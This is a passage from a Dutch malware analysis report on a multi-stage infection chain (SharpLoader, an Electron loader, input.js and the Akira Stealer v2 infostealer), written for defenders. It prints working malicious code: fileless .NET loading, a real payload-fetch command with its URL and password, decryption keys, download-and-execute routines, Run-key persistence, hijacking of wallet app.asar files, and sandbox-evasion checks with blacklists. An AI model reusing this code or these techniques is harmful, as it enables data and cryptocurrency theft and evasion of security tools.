Zodra de payload van de tweede fase succesvol is ontsleuteld, vormt de resulterende byte-array een geldige .NET-assembly. In plaats van die assembly naar schijf te schrijven, een gangbare indicator voor antivirus- of EDR-systemen, voert SharpLoader deze direct in het geheugen uit met reflectie:
Assembly a = Assembly.Load(bin);
a.EntryPoint.Invoke(null, new object[] { commands });
Deze techniek heet fileless execution. Die is sterk evasief omdat het:
- de schijf niet aanraakt en dus geen bestandsgebaseerde IOC's (indicators of compromise) achterlaat
- klassieke forensische acquisitie bemoeilijkt, omdat er geen binary op schijf wordt opgeslagen
- statische signature-detectie ontwijkt, aangezien AV-engines vaak op het scannen van bestanden leunen
Is het EntryPoint niet static, dan bevat de loader een fallback-logica:
MethodInfo method = a.EntryPoint;
if (method != null)
{
object o = a.CreateInstance(method.Name);
method.Invoke(o, null);
}
Dat zorgt voor compatibiliteit met assemblies die een geïnstantieerd object nodig hebben om uit te voeren (bijvoorbeeld public int Main() binnen een class-instantie). De code maakt dynamisch een instantie van de class aan en roept daarna de entrypoint-methode aan.
In combinatie met de AMSI-bypass en de decryptie in het geheugen levert dit mechanisme de uiteindelijke payload op een onopvallende, volledig fileless manier aan uitvoering, een kenmerk van moderne, evasieve malware.
4.5 Command-line-parameters en flexibiliteit
De PowerShell-functie Invoke-SharpLoader is ontworpen als flexibele wrapper voor willekeurige .NET-payloads. Ze ondersteunt dynamische invoer van zowel de locatie van de payload als de argumenten, waardoor één loader-instantie hergebruikt kan worden over meerdere operaties of campagnes.
Ondersteunde parameters:
-location(verplicht): geeft een URL of een lokaal bestandspad naar de versleutelde payload van fase twee.-password(verplicht): wordt gebruikt om de AES-decryptiekey af te leiden.-argument,-argument2,-argument3(optioneel): deze worden via reflectie direct doorgegeven aan deMain()-methode van de.NET-assembly.-noArgs: start de uitvoering zonder parameters door te geven aan de payload van de tweede fase.
Intern worden de argumenten zo verzameld en doorgegeven:
object[] cmd = args.Skip(2).ToArray();
a.EntryPoint.Invoke(null, new object[] { cmd });
Dat betekent dat de .NET-payload een signatuur moet hebben zoals:
static void Main(string[] args)
of via de fallback-logica netjes terugvalt op de variant Main() zonder parameters. Dit gedrag stelt red teams of malware-auteurs in staat multifunctionele tweede fasen te bouwen die afhankelijk van de invoer verschillende operaties uitvoeren, bijvoorbeeld een implant starten, systeeminformatie verzamelen of C2-communicatie opzetten.
Zulke modulariteit en configureerbaarheid zijn kenmerkende eigenschappen van geavanceerde malware-frameworks en laten zien hoe scriptgebaseerde loaders zich kunnen gedragen als bijzonder adaptieve uitvoeringsomgevingen voor navolgende payloads.
4.6 Voorbeeld van gebruik in de praktijk
Om de praktijkuitvoering van SharpLoader in een echte campagne te illustreren, kijk je naar de volgende aanroep die in het wild is gezien:
Invoke-SharpLoader -location "https://cosmoplwnets.xyz/.well-known/pki-validation/calc.enc" -password UwUFufu1 -noArgs
Dit voorbeeld laat de typische use case van SharpLoader zien:
- Location-argument: de URL wijst naar een externe server die
calc.enchost, een verborgen payload voor de tweede fase. Het endpoint staat in een legitiem uitziende.well-known-directory, die vaak voor HTTPS-certificaatvalidatie wordt gebruikt, waardoor de URL opgaat in legitiem webverkeer. - Kenmerken van de payload:
calc.encis een drievoudig geobfusceerd bestand, Base64-encoded, GZip-gecomprimeerd en AES-versleuteld. Deze obfuscation-pipeline zorgt dat de payload ondoorzichtig blijft voor de meeste detectiemechanismen, tenzij hij volledig in het geheugen wordt uitgevoerd en ontsleuteld. - Password-argument: de string
UwUFufu1wordt tijdens runtime gebruikt om de AES-key af te leiden via SHA-256 en PBKDF2. Zonder dit wachtwoord kan de payload niet ontsleuteld worden, waardoor offline analyse zonder context vrijwel onmogelijk is. - Geen aanvullende argumenten: de switch
-noArgsgeeft aan dat er geen command-line-parameters aan de ontsleutelde .NET-assembly worden doorgegeven, waardoor het standaard uitvoeringspad start.
Deze onopvallende aanroepketen vat de kern van SharpLoader samen: fileless, adaptieve en beveiligde levering van payloads via eenvoudige PowerShell-syntaxis met maximale obfuscation en evasie.
4.7 Samenvatting
Het construct Invoke-SharpLoader illustreert een zeer verfijnde en evasieve techniek voor malware-staging die native systeemcomponenten, reflectie en cryptografie inzet om vrijwel volledig in het geheugen te werken.
Belangrijkste punten:
- AMSI omzeilen: direct patchen van
AmsiScanBufferin het geheugen schakelt antivirus-inspectie uit zonder detecteerbare API's aan te roepen. - Beveiligde verwerking van payloads: het ophalen van versleutelde en gecomprimeerde payloads voor fase twee waarborgt vertrouwelijkheid en voegt meerdere lagen evasie toe.
- Uitvoering uitsluitend in het geheugen: ontsleutelde payloads worden nooit naar schijf geschreven, waardoor detectie door klassieke bestandsgebaseerde scanners bijna onmogelijk is.
- Modulaire en herbruikbare architectuur: via PowerShell-parameters kan SharpLoader flexibel worden hergebruikt in campagnes met verschillende payloads en runtime-gedrag.
5. Deep dive: main.exe – op Electron gebaseerde malware-loader
Tijdens het reverse-engineeren werd duidelijk dat main.exe, dat door Microsoft Defender for Endpoint werd gemarkeerd, geen conventioneel binary was maar een op Electron gebaseerde malware-loader. Het werd geleverd in een archief met de naam app-64.7z, dat Updater.exe tijdens runtime downloadde en uitpakte. Na het uitpakken leken de structuur en inhoud sterk op een typische Electron-applicatie.
5.1 De Electron-structuur herkennen
De uitgepakte map bevatte onder meer deze bestanden:
chrome_100_percent.pak,v8_context_snapshot.bin,d3dcompiler_47.dllLICENSES.chromiumenLICENSES.electron- Een groot
main.exe-binary (~150 MB) - Een map
resourcesmetapp.asaren een tweede binaryelevate.exe

Dit zijn allemaal sterke indicatoren van een Electron-app, die Chromium en Node.js gebruikt om op JavaScript gebaseerde desktopapplicaties te packagen. De aanwezigheid van elevate.exe, een gesigneerd Microsoft-binary dat vaak wordt gebruikt om rechten te verhogen, wekte extra verdenking: het kan misbruikt worden om childprocessen met verhoogde rechten te starten.
5.2 Uitpakken en statische analyse (deep dive)
In plaats van main.exe uit te voeren koos ik voor statische analyse om geen live gedrag te triggeren. Mijn eerste vermoeden dat main.exe met Electron was gebouwd, werd bevestigd door het bestand app.asar in de directory resources te vinden. In Electron-apps bevat dit archief alle kernlogica van de applicatie, zoals JavaScript-bestanden, configuratie (package.json) en assets, gebundeld in een eigen formaat voor performance en obfuscation.
Het .asar-archief is in essentie een read-only, high-performance container vergelijkbaar met .zip, maar geoptimaliseerd voor de runtime van Electron. Het is niet versleuteld, maar het bemoeilijkt de toegang tot code en maakt statische analyse lastiger zolang het niet is uitgepakt.
Om het uit te pakken gebruikte ik de officiële asar-tool uit npm. De stappen waren:
npm install -g asar
asar extract app.asar extracted_app
Met bovenstaande commando's werd de inhoud in een werkmap (extracted_app/) uitgepakt, waarmee de eigenlijke JavaScript-applicatiecode zichtbaar werd. Daarin zat:
jscryter.js,input.js,obf.js: deze scripts vormen de malwarelogica.jscryter.jslijkt de levering van de payload te orkestreren,input.jsdefinieert configuratieconstanten of commandologica enobf.jsis een zwaar geobfusceerd script dat vermoedelijk de kernlogica van de payload bevat.package.json,package-lock.json: definiëren de runtime-omgevingnode_modules/: bevat alle dependencies zoalsaxios,adm-zip,child_process
De uitgepakte inhoud gaf volledig inzicht in de logica van de malware zonder uitvoering, wat essentieel was voor veilige reverse engineering. Deze stap bevestigde dat main.exe puur diende als runtime-wrapper voor de kwaadaardige scripts in app.asar.
5.3. Wat de statische analyse opleverde
Door de code handmatig te inspecteren stelde ik vast dat de malwarelogica volledig op JavaScript is gebaseerd en binnen de Electron-runtime wordt uitgevoerd. De scripts waren gebouwd om:
- een versleutelde payload (
pyth.zip) van fallback-URL's te downloaden - het archief met
adm-zipuit te pakken - string replacement uit te voeren om specifieke credentials of wallet-adressen te injecteren
- het resulterende Python-bestand (
astor.py) viachild_process.exec()enpython.exete starten
Cruciaal is dat de loader ook logica bevatte om Updater.exe naar de AppData-directory van de gebruiker te kopiëren als het daar nog niet stond, waarmee persistence werd versterkt en de infectielus in stand bleef.
6. Deep dive: input.js – de versleutelde JavaScript-payload-loader
input.js is een cruciaal component in de geanalyseerde malwareketen en fungeert als decryptie- en uitvoeringshub voor een versleutelde JavaScript-payload. Dit script verbergt zijn kernfunctionaliteit achter een sterke encryptielaag en laat zijn gedrag pas tijdens runtime zien.
6.1 Werking van encryptie en decryptie
Op het eerste gezicht bevat input.js heel weinig leesbare code. Het hoofddoel is echter een grote geobfusceerde JavaScript-blob die in het script zelf is opgeslagen te ontsleutelen en uit te voeren.
6.1.1 Decryptielogica
Het script definieert een functie decrypt() die vier parameters aanneemt:
encdata: de versleutelde, Base64-encoded datamasterkey: een passphrase in plaintextsalt: een cryptografische salt (Base64)iv: de initialisatievector voor de AES-decryptie (Base64)
Het decryptieproces is geïmplementeerd met de ingebouwde crypto-module van Node.js. Het verloopt als volgt:
- Key derivation:
Het script leidt een symmetrische key van 256 bits af met PBKDF2 (Password-Based Key Derivation Function 2):
const key = crypto.pbkdf2Sync( masterkey, Buffer.from(salt, "base64"), 100000, 32, "sha512", );- Hashfunctie: SHA-512
- Iteraties: 100.000
- Keylengte: 32 bytes (256 bits)
- Salt: aangeleverd als Base64-gedecodeerde invoer
- AES-256-CBC-decryptie:
De afgeleide key wordt vervolgens gebruikt om een AES-decipher-object aan te maken:
const decipher = crypto.createDecipheriv( "aes-256-cbc", key, Buffer.from(iv, "base64"), );
De versleutelde payload wordt ontsleuteld in de standaard CBC-modus (Cipher Block Chaining):let decrypted = decipher.update(encdata, "base64", "utf8"); decrypted += decipher.final("utf8"); - Dynamische uitvoering:
De ontsleutelde JavaScript-code wordt nooit naar schijf geschreven. In plaats daarvan wordt hij dynamisch in het geheugen uitgevoerd met de
Function-constructor:new Function("require", decrypted)(require);
Deze techniek maakt fileless execution mogelijk en verkleint de kans op detectie door klassieke antivirus-engines die op schijfgebaseerd scannen leunen.
Deze aanpak laat een gelaagde verdediging tegen reverse engineering zien door key derivation, sterke encryptie en dynamische uitvoering in het geheugen te combineren.
Sleutelmateriaal en versleutelde data
Het script bevat de volgende hardcoded invoerwaarden:
- Versleutelde data: een enorme Base64-encoded blob
- Master key:
9uNXNGt8/7kN7ZiEvy1OdYNpbcnzkERs - Salt:
maXtklzMEZRY9dbul/XPSw==(Base64-encoded) - IV:
HwK6sOz7FBbL+YsrOxtYUg==(Base64-encoded)
Deze zijn allemaal direct in de broncode van input.js ingebed.
6.2 Gedrag van de payload na decryptie
Zodra de ingebedde payload is gedecrypteerd, blijkt het om een volwaardig JavaScript-programma te gaan dat de volgende kwaadaardige acties uitvoert:
6.2.1 Voorbereiding van de omgeving
De gedecrypteerde payload begint met het opzetten van zijn uitvoeringsomgeving via ingebouwde Node.js-modules. Deze opzetfase zorgt ervoor dat alle benodigde paden en werkdirectories duidelijk zijn gedefinieerd voordat er kwaadaardig gedrag optreedt.
- Bepalen van de temporary directory:
De malware roept
os.tmpdir()aan om het pad naar de temporary directory van het systeem te bepalen. Dit is een gangbare tactiek voor malware, omdat tijdelijke mappen doorgaans beschrijfbaar zijn en minder streng worden gecontroleerd door endpointbeveiliging.const tempDir = os.tmpdir(); - Opbouw van paden:
Het script construeert vervolgens absolute paden voor twee belangrijke bestanden:
pyth.zip: het archief dat de eigenlijke Python-based stealer van de tweede fase bevatbnd.exe: een optioneel uitvoerbaar bestand dat kan dienen als persistence-backdoor of aanvullende payload
const tempFile = path.join(tempDir, "pyth.zip"); const binderFile = path.join(tempDir, "bnd.exe");
Deze padopzet abstraheert de OS-specifieke padsyntaxis en stelt de malware in staat om op elk Windows-systeem te werken. Daarnaast legt het de basis voor de download- en uitpakmechanismen die volgen.
6.2.2 Download van de payload met fallbackstrategie
De tweede grote fase van de gedecrypteerde JavaScript-payload bestaat uit het downloaden van een kwaadaardig ZIP-archief van externe bronnen. Dit mechanisme is opgezet met een meerlaagse fallbackstrategie om de robuustheid en beschikbaarheid te vergroten.
- Primaire linkresolutie via Rentry.co
Het script begint met het ophalen van een dynamische URL bij een tekst-pastedienst. Het stuurt een GET-request naar:
const url = "https://rentry.co/7vzd22fg36hfdd33/raw";
Dit levert een URL in platte tekst op die verwijst naar de daadwerkelijke locatie van het archiefpyth.zip. Het gebruik van zo'n omleidingsmechanisme is een gangbare obfuscation-techniek, omdat het de echte kwaadaardige URL abstraheert en statische detectie bemoeilijkt. - Uitvoeren van de download
De opgehaalde URL wordt vervolgens opgevraagd met de Axios-bibliotheek via een response stream:
const fileResponse = await axios.get(fileUrl, { responseType: "stream" });
Het bestand wordt naar schijf geschreven alspyth.zipin de temp directory van het systeem:const writer = fs.createWriteStream(tempFile); fileResponse.data.pipe(writer);
Deze download is ingepakt in eenPromiseom te garanderen dat hij synchroon wordt afgerond voordat de rest van de logica wordt uitgevoerd. - Fallback-URL's
Als de link via Rentry faalt, probeert het script hardcoded backuplocaties:
https://cosmicdust.zip/.well-known/pki-validation/pyth.zip https://cosmoplanets.net/well-known/pki-validation/pyth.zip
Deze domeinen zijn zo opgebouwd dat ze onderdeel lijken van standaard TLS-validatiemappen, mogelijk om Let's Encrypt of domeinvalidatiepaden te imiteren en zo minder verdacht over te komen. Elke fallback wordt opnieuw geprobeerd met dezelfde streaming- en schrijflogica. - Robuustheid en obfuscation
Dit fallbackmechanisme zorgt ervoor dat de malware meerdere routes heeft om zijn tweedefase-payload op te halen. Het gebruik van een dynamische pointer (
rentry.co) en meerdere failover-mirrors maakt de malware weerbaarder tegen takedowns, blokkades en DNS-sinkholes.
Deze fase laat zien dat de auteurs van de malware zorgvuldig operationeel hebben gepland, met gelaagde redundantie en goed gecamoufleerde afleverinfrastructuur.
- Downloadt
pyth.zipvanaf de opgehaalde URL - Als dat mislukt, probeert het fallback-mirrors:
https://cosmicdust.zip/.well-known/pki-validation/pyth.ziphttps://cosmoplanets.net/well-known/pki-validation/pyth.zip
6.2.3 Uitpakken en manipuleren van de payload
Zodra het archief pyth.zip succesvol is gedownload en op schijf is opgeslagen, gaat de malware verder met het uitpakken van de inhoud en het klaarzetten daarvan voor uitvoering. Dat gebeurt met de Node.js-bibliotheek adm-zip, die programmatische verwerking van ZIP-bestanden mogelijk maakt.
- ZIP-extractie:
const zip = new AdmZip(tempFile); zip.extractAllTo(tempDir, true);
Hiermee wordt de volledige inhoud van het archief uitgepakt naar de temporary directory van het systeem. De vlagtruezorgt ervoor dat bestaande bestanden worden overschreven. - Inhoud van het archief:
Het archief
pyth.zipbevat een volledig gebundeld Python-project, waaronder:- Een directorystructuur die lijkt op een legitiem Python-package
- Diverse Python-modules en dependencies
- Het cruciale bestand
astor.pyopCrypto/Util/astor.py, dat de eigenlijke stealer-payload is
- Vervangen van placeholders:
De malware voert een dynamische substitutie uit van vooraf gedefinieerde placeholders binnen
astor.pyom configuratiedata van de aanvaller te injecteren, zoals:- Een Discord-webhook-URL
- Cryptowallet-adressen (BTC, ETH, DOGE, LTC, XMR, enzovoort)
- Een gebruikersidentificatie (
%USERID%) - Een foutstatusvlag (
%ERRORSTATUS%)
fs.readFile(extractedDir + "\Crypto\Util\astor.py", 'utf8', (err, data) => { let updatedFile = data .replace("%DISCORD%", <webhook>) .replace("%ADDRESSBTC%", <btc_address>) ... .replace("%ERRORSTATUS%", displayError ? "true" : "false"); fs.writeFile(extractedDir + "\Crypto\Util\astor.py", updatedFile, 'utf8'); });
Deze fase van dynamische manipulatie is essentieel. Doordat de waarden van de aanvaller pas tijdens runtime worden ingevoegd, ontloopt de payload statische detectie en kan de operator doelwitten en exfiltratie-endpoints aanpassen zonder het archief opnieuw te hoeven bouwen.
- Vervangt placeholder-strings in
astor.py:- Discord-webhook:
%DISCORD% - Walletadressen:
%ADDRESSBTC%,%ADDRESSETH%, enzovoort - Gebruikers-ID en foutvlaggen
- Discord-webhook:
6.2.4 Uitvoering van de malware
- Zodra de injectie van de placeholders in astor.py is afgerond, start de malware de stealer via een systeemaanroep
exec("python.exe Crypto\\Util\\astor.py");
Dit commando wordt uitgevoerd met de functie child_process.exec van Node.js en start de ingebedde Python-payload in een apart proces. Dit specifieke uitvoeringspatroon, python.exe met het argument Crypto\Util\astor.py, is waargenomen in telemetriedata van Microsoft Defender for Endpoint en vormt daarmee een betrouwbaar detectie-artefact. In de praktijk ziet de uitvoeringsketen er zo uit:
De volledige uitvoeringsketen van de malware, zoals waargenomen in de telemetrie van Microsoft Defender for Endpoint, volgt deze reeks:
main.exe(Electron-based container) roeptnode.exeaannode.exestartcmd.execmd.exestartpython.exepython.exevoert het bestandCrypto\Util\astor.pyuit
6.2.5 Versterking van de persistence
Om langdurig aanwezig te blijven op het geïnfecteerde systeem bevat de gedecrypteerde JavaScript-payload logica die persistence opnieuw vestigt door het oorspronkelijke binary (Updater.exe) te kopiëren naar een verborgen locatie binnen het gebruikersprofiel.
Doeldirectory
Het bestand wordt gekopieerd naar een directory die legitieme Windows-componenten imiteert:
%APPDATA%\Microsoft\Internet Explorer\UserData\Updater.exe
Deze locatie is bewust gekozen:
- %APPDATA% is beschrijfbaar voor gewone gebruikers en vereist geen administratieve rechten.
- De naam van de directory bootst legitieme Microsoft-applicatiemappen na, waardoor die minder verdacht is.
Kopieermechanisme:
De kopieerbewerking gebruikt de functie fs.copyFileSync() van Node.js:
fs.copyFileSync(
process.env.PORTABLE_EXECUTABLE_FILE,
path.join(
process.env.APPDATA,
"Microsoft",
"Internet Explorer",
"UserData",
"Updater.exe",
),
);
- PORTABLE_EXECUTABLE_FILE is een omgevingsvariabele die door veel packers (zoals Electron) automatisch wordt gezet om naar het pad van het uitvoerende binary te verwijzen.
- path.join(...) bouwt een volledig gekwalificeerd doelpad op dat over verschillende besturingssystemen werkt.
Deze logica wordt alleen uitgevoerd als het bestand nog niet aanwezig is en werkt daarmee als een zelfherstelmechanisme dat de dropper terugzet als die is verwijderd.
Rol in de malwareketen De aanwezigheid van deze gekopieerde Updater.exe zorgt ervoor dat:
- De loader zichzelf opnieuw kan starten na een herstart van het systeem.
- De volledige infectieketen (die leidt naar main.exe, node.exe en uiteindelijk astor.py) opnieuw kan beginnen zonder afhankelijk te zijn van klassieke registerpersistence, die eerder gemonitord wordt.
6.2.6 Optionele uitvoering van de binder
Naast het downloaden en uitvoeren van de belangrijkste stealer-payload (astor.py) bevat het gedecrypteerde JavaScript ook logica om optioneel een tweede uitvoerbaar bestand te downloaden en te starten, aangeduid als de "binder". Deze component kan worden gebruikt voor persistence, als afleiding of voor het uitrollen van aanvullende malwaremodules.
Voorwaardelijke uitvoering
De binder-logica wordt alleen geactiveerd als een specifieke vlag is gezet:
enableBinder = true;
In het geanalyseerde sample stond deze waarde standaard op false, maar de logica blijft ingebed in de payload en kan in een andere campagne of variant eenvoudig worden geactiveerd.
Downloadlogica van de binder
Bij activering probeert het script een extern binary op te halen van een URL die is gedefinieerd via de placeholder %BINDERURL%:
const fileUrl = "%BINDERURL%";
const fileResponse = await axios.get(fileUrl, { responseType: "stream" });
const writer = fs.createWriteStream(binderFile);
fileResponse.data.pipe(writer);
- Het bestand
bnd.exewordt opgeslagen in de temporary directory van het systeem. - Net als
pyth.zipwordt het binary met Axios in streamvorm gedownload om te voorkomen dat het volledige binary in het geheugen wordt geladen.
Uitvoeringsstrategie
Na een geslaagde download start het script het gedownloade binary via cmd.exe, zodat het in een nieuwe shell-context loopt:
exec(`start cmd /c start ${binderFile}`, ...);
Om de betrouwbaarheid te vergroten bevat het script retry-logica:
setTimeout(() => {
exec(...);
}, 5000);
Daarmee zorgt de malware ervoor dat het binary na een korte vertraging opnieuw wordt gestart, ook als de eerste uitvoering mislukt (bijvoorbeeld door systeembelasting of race conditions).
Toepassingen van de binder
Het exacte doel van het binder-binary komt in dit specifieke sample niet naar voren (vanwege de placeholder-URL), maar dergelijke componenten worden doorgaans gebruikt om:
- Primaire malwarecomponenten opnieuw te installeren of te starten
- Nep-installers of lokvogel-applicaties te tonen
- Aanvullende spyware, backdoors of ransomware uit te rollen
- Systeeminstellingen aan te passen of beveiligingsfuncties uit te schakelen
6.3 Samenvatting
input.js is een sterk geobfusceerde, versleutelde JavaScript-loader die met cryptografie volgens de industriestandaard (PBKDF2 + AES-256-CBC) zijn werkelijke doel verbergt. Na decryptie gedraagt hij zich als een volwaardige tweedefase-loader die:
- Verdere malware ophaalt (
pyth.zip) - Het gedrag van de payload dynamisch aanpast
- Het eigenlijke stealer-script start (
astor.py) - Persistence versterkt door
Updater.exeterug te zetten
De combinatie van encryptie, dynamische uitvoering, modulair ophalen van payloads en fileless werking laat een zeer geavanceerde, JavaScript-based malware-architectuur zien die de mogelijkheden van Node.js binnen een Electron-shell benut.
7. DeepDive: Akira Stealer v2 (astor.py)
7.1. Functionaliteit op hoofdlijnen
Akira Stealer v2 (astor.py) is een multifunctionele, modulaire infostealer-malware geschreven in Python. Hij is ontworpen om een breed scala aan gevoelige gebruikersdata te exfiltreren uit zowel Chromium- als Firefox-based browsers, cryptowallets, communicatieclients (bijvoorbeeld Discord, Telegram) en systeembestanden. Hij bevat geraffineerde anti-analysemechanismen, registerbased persistence, clipboard hijacking en technieken voor memory injection.
7.2 Persistence en uitrol
7.2.1 Context van de uitvoeringsketen
astor.py wordt niet zelfstandig uitgevoerd, maar is de laatste payload in een aanvalsketen met meerdere fasen:
Updater.exe
└── main.exe (Electron app)
└── cmd.exe
└── python.exe astor.py
Door deze gestructureerde uitvoeringsketen kan elke fase detectie ontlopen door de kwaadaardige functionaliteit door te geven aan de volgende. Updater.exe start de reeks en is verantwoordelijk voor het behouden van persistence.
7.2.2 Persistentie via het register
Akira vestigt persistence door een registersleutel te schrijven onder het Run-pad van de huidige gebruiker. Daarmee wordt Updater.exe bij elke systeemstart uitgevoerd:
command = f'reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v "Realtek Audio" /t REG_SZ /d "{path}\\Updater.exe" /f'
os.system(command)
- Pad:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run - Naam van de waarde:
Realtek Audio(gekozen om onschuldig te lijken) - Pad van de payload: doorgaans in
AppData\Roaming\Microsoft\Internet Explorer\UserData\\Updater.exe
Dit commando schrijft de autorun-entry stil weg via PowerShell of via een native os.system()-uitvoering.
7.2.3 Verbergen van het bestand
Om het binary verder te verbergen voor gebruikers en eenvoudige AV-scans wordt het bestand voorzien van de attributen hidden en system:
subprocess.run(["attrib", "+h", "+s", destination_path])
+h: markeert het bestand als verborgen+s: markeert het bestand als beschermd systeembestand
Daarmee verdwijnt het bestand uit de standaardweergave van Windows Verkenner en neemt de stealth toe.
7.2.4 Technieken voor herinfectie
De malware ondersteunt zelfreplicatie en herinfectie via hijacking van Electron-applicaties. Concreet vervangt hij het archief app.asar in Electron-based desktopwallets (bijvoorbeeld Exodus, Atomic Wallet) om kwaadaardig JavaScript uit te voeren tijdens het legitieme opstarten van de app.
De logica zoekt naar bekende paden van wallet-apps:
path = os.getenv("APPDATA") + "\\Exodus\\resources\\app.asar"
Als het doelbestand bestaat, wordt het overschreven met een bewapend archief. Daarmee blijft persistence bestaan, zelfs na handmatige opschoning van Updater.exe.
7.3 Anti-analyse / evasie (klasse: VmProtect)
7.3.1 Inleiding
In moderne malwarecampagnes is het ontlopen van analyse in gevirtualiseerde en sandbox-omgevingen cruciaal om stealth te behouden. De Akira Stealer v2 bevat een uitgebreide module voor VM- en sandboxdetectie (VmProtect) die agressief omgevingen onder controle van analisten identificeert en de uitvoering afbreekt. Dit rapport ontleedt elke detectietechniek, geeft de exacte codefragmenten inclusief de volledige blacklistdefinities en schetst de gebruikte analysemethodiek.
7.3.2 Overzicht
De klasse VmProtect implementeert robuuste VM- en sandboxdetectie om de uitvoering in analyseomgevingen vroegtijdig af te breken. Er zijn twee detectieniveaus:
- Niveau 1: lichte, snelle checks
- Niveau 2: diepgaande, uitgebreide probes
Als VmProtect.isVM(level) True teruggeeft, roept de malware sys.exit() aan en voorkomt daarmee verdere analyse.
7.3.3 Detectieniveaus
| Kenmerk | Niveau 1 | Niveau 2 |
|---|---|---|
| HTTPSimulation | ✔️ | ✔️ |
| Blacklist computernamen | ✔️ | ✔️ |
| Blacklist gebruikersaccounts | ✔️ | ✔️ |
| Blacklist hardware-UUID's | ❌ | ✔️ |
| Check via public-hosting-API | ❌ | ✔️ |
| Aanwijzingen uit register en GPU | ❌ | ✔️ |
| Task-killing op de achtergrond | ✔️ | ✔️ |
7.3.4 Architectuur van VmProtect
De klasse VmProtect biedt de volgende primaire methoden:
checkUUID()checkComputerName()checkUsers()checkHosting()checkHTTPSimulation()checkRegistry()killTasks()isVM(level)
Elke methode geeft een boolean terug of voert evasiestappen uit. De wrapper isVM bundelt deze checks op basis van het opgegeven niveau.
| Methode | Getriggerd door | Beschrijving |
|---|---|---|
checkUUID() |
isVM(2) |
Blacklist van WMI-UUID's |
checkComputerName() |
isVM(1,2) |
Match op hostname uit de omgeving |
checkUsers() |
isVM(1,2) |
Blacklist van gebruikersnamen |
checkHosting() |
isVM(2) |
Check op hostingprovider van het IP via ip-api.com |
checkHTTPSimulation() |
isVM(1,2) |
Detectie van HTTPS-interceptie |
checkRegistry() |
isVM(2) |
Artefacten in register en GPU-driver |
killTasks() |
isVM(...) spawn |
Beëindigt bekende analyseprocessen |
isVM(level) |
init | Bundelt de checks en start de thread killTasks() |
@staticmethod
def isVM(level: int) -> bool:
# Always start background task-killer
Thread(target=VmProtect.killTasks, daemon=True).start()
if level == 1:
# Fast path: HTTPS, hostname & user
return (
VmProtect.checkHTTPSimulation()
or VmProtect.checkComputerName()
or VmProtect.checkUsers()
)
if level == 2:
# Deep scan: includes UUID, hosting, registry & GPU
try:
return (
VmProtect.checkHTTPSimulation()
or VmProtect.checkUUID()
or VmProtect.checkComputerName()
or VmProtect.checkUsers()
or VmProtect.checkHosting()
or VmProtect.checkRegistry()
)
except:
return False
return False
7.3.5 UUID-check: virtuele machines identificeren via de hardware-UUID
Een gangbare evasietactiek van malware is het fingerprinten van de onderliggende hardwareomgeving. Een van de eerste identifiers die op een virtuele machine kan wijzen, is de systeem-UUID (Universally Unique Identifier). Virtualisatieplatforms als VMware en VirtualBox genereren vaak voorspelbare of hergebruikte UUID's, waaraan malware kan afleiden of hij in een gevirtualiseerde of sandbox-omgeving loopt.
@staticmethod
def checkUUID() -> bool:
try:
raw = subprocess.run(
"wmic csproduct get uuid", shell=True,
capture_output=True
).stdout.splitlines()[2].decode().strip()
except:
raw = ""
return raw in VmProtect.BLACKLISTED_UUIDS
Deze check gebruikt de tool Windows Management Instrumentation Command-line (WMIC) om de UUID van de hostmachine uit te lezen. De teruggegeven waarde wordt vervolgens vergeleken met een samengestelde lijst van UUID's die vaak horen bij templates van virtuele machines of bekende analyseopstellingen.
7.3.6 Check op computernaam: sandbox- en analyseomgevingen detecteren via de hostname
De hostname van het systeem, uitgelezen via de omgevingsvariabele %COMPUTERNAME%, verraadt vaak iets over de omgeving. Analisten gebruiken regelmatig standaard of snel gegenereerde hostnames als "DESKTOP-XXXXXXX", "WIN10ANALYSIS" of zelfs namen die aan hun interne omgeving zijn gekoppeld. Malware maakt daar gebruik van door de hostname van het systeem te vergelijken met een blacklist.
@staticmethod
def checkComputerName() -> bool:
name = os.getenv("computername", "").lower()
return name in VmProtect.BLACKLISTED_COMPUTERNAMES
BLACKLISTED_COMPUTERNAMES = (
'00900bc83802','bee7370c-8c0c-4','desktop-nakffmt',
'desktop-vkeons4','ntt-eff-2w11wss',
# ... dozens more entries ...
)
Bij een match kan de malware besluiten de uitvoering te stoppen of een nep-payload uit te rollen en zo een volledige gedragsanalyse te ontlopen.
7.3.7 Check op gebruikersaccount: profileren van analist- of standaardaccounts
Een andere heuristiek beoordeelt de gebruikersnaam waaronder de malware wordt uitgevoerd. Veel templates van virtuele machines en sandboxes hergebruiken gangbare gebruikersnamen als "Abby", "Test" of "wdagutilityaccount". Die namen hebben een lage entropie en staan vaak hardcoded in open source sandbox-omgevingen.
@staticmethod
def checkUsers() -> bool:
user = os.getlogin().lower()
return user in VmProtect.BLACKLISTED_USERS
BLACKLISTED_USERS = (
'wdagutilityaccount','abby','peter wilson','hmarc',
'a.monaldo','tvm',
# ... 30+ more entries ...
)
Deze check verbetert de detectie door zich te richten op de gebruikerscontext, die ook na herstarts of snapshots van virtuele machines ongewijzigd kan blijven.
7.3.8 Hostingcheck: publieke cloudinfrastructuur detecteren
Sommige malware gebruikt externe IP-intelligencediensten om te achterhalen of het geïnfecteerde systeem in een bekend datacenter of bij een cloudprovider staat. In dit geval gaat er een eenvoudig HTTP-request naar ip-api.com met de vraag of het IP als "hosting" is gemarkeerd.
@staticmethod
def checkHosting() -> bool:
http = PoolManager(cert_reqs="CERT_NONE")
try:
return http.request(
'GET',
'http://ip-api.com/line/?fields=hosting'
).data.decode().strip() == 'true'
except:
return False
Zo kan de malware vaststellen of hij loopt op infrastructuur van Microsoft Azure, AWS, DigitalOcean en dergelijke, wat een rode vlag is voor sandboxing.
7.3.9 HTTPS-simulatiecheck: aftasten op SSL-interceptie
Om omgevingen met SSL-inspectie te herkennen (gangbaar in bedrijfs- of onderzoeksnetwerken) stuurt de malware een onschuldig HTTPS-request naar een willekeurig subdomein onder .in. Als de verbinding mislukt door DNS-filtering, interceptieproxy's of falende certificate pinning, kan dat erop wijzen dat de malware wordt geanalyseerd.
@staticmethod
def checkHTTPSimulation() -> bool:
http = PoolManager(cert_reqs="CERT_NONE", timeout=1.0)
try:
http.request('GET', f'https://blank-{Utils.GetRandomString()}.in')
except:
return False
return True
Deze subtiele aanpak test de integriteit van het netwerkpad zonder alarm te slaan of eigen infrastructuur te vereisen.
7.3.10 Check op register en GPU-driver: virtuele GPU-signaturen detecteren
Bepaalde virtuele omgevingen verraden zich via registersleutels of descriptors van GPU-drivers. Akira volgt een dubbele strategie: hij bevraagt registerentries die aan het grafische subsysteem hangen en bekijkt daarnaast de output van wmic op verdachte GPU-strings.
@staticmethod
